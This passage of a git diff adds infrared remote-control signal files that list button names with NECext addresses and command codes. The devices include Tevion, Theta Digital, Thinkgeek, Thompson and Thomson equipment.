+command: 13 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 17 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1D 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 49 00 00 00 +# +name: magenta +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4D 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 52 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 53 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 54 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5C 00 00 00 +# +name: TextOff +type: parsed +protocol: NECext +address: 17 69 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir new file mode 100644 index 000000000..ac11aec0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: AB-Taste +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: Stumm +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: TurnOffOn +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: MixText +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: PauseVideoText +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: Taste1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: Taste2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: Taste3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: Taste4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: Taste5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: Taste6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: Taste7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: Taste8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: Taste9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: Taste0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: AdvNum +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: OffText +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: ShowClock +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: Vor +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir new file mode 100644 index 000000000..2c04c058e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CONDITION +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PLAY_< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: PREV. +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir new file mode 100644 index 000000000..915c9ea02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir new file mode 100644 index 000000000..687aed1fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: A-D +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: TAPE_OUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: ACCY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: REMOTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: LEVEL_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: LEVEL_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: SELECT_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: _ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: SELECT_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir new file mode 100644 index 000000000..4725fba53 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: R1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: G1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: B1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: G2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: B2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: G3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: B3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: R4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: G4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: R5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: G5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: Strobe +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: Smooth +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: Flash +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: Fade +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: B4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: W1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: W5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: W3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: B5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: W4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: W2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir new file mode 100644 index 000000000..b522800c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 01 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBSDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBSUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMPTOEND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 38 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 39 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir new file mode 100644 index 000000000..6a81fc12c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: EMPTY_BUTTON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: _/__ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: WIN+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: POINT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: GRAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: WIN_IN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: LINES_WIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: MINIMIZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir new file mode 100644 index 000000000..261e7d84c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: 